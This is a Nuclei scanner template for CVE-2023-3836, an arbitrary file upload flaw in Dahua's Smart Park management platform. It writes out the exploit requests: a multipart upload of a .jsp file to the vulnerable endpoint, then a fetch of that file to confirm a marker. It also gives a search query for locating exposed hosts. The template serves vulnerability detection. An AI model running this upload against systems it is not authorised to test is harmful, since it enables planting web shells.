52 lines
1.5 KiB
YAML
52 lines
1.5 KiB
YAML
|
id: CVE-2023-3836
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Dahua Smart Park Integrated Management Platform - Arbitrary File Upload
|
||
|
|
author: HuTa0
|
||
|
|
severity: high
|
||
|
|
description: Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
|
||
|
|
reference:
|
||
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3836
|
||
|
|
metadata:
|
||
|
|
verified: true
|
||
|
|
zoomeye-query: "/WPMS/asset"
|
||
|
|
tags: cve,cve2023,dahua,fileupload
|
||
|
|
|
||
|
|
variables:
|
||
|
|
random_str: "{{rand_base(6)}}"
|
||
|
|
match_str: "{{md5(random_str)}}"
|
||
|
|
|
||
|
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
|
||
|
|
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
|
||
|
|
Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
|
||
|
|
Content-Type: application/octet-stream
|
||
|
|
Content-Transfer-Encoding: binary
|
||
|
|
|
||
|
|
{{match_str}}
|
||
|
|
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
|
||
|
|
|
||
|
|
- |
|
||
|
|
GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- "status_code_1 == 200 && status_code_2 == 200"
|
||
|
|
- "contains(body_2, '{{match_str}}')"
|
||
|
|
condition: and
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: regex
|
||
|
|
name: shell_filename
|
||
|
|
internal: true
|
||
|
|
part: body_1
|
||
|
|
regex:
|
||
|
|
- 'ico_res_(\w+)_on\.jsp'
|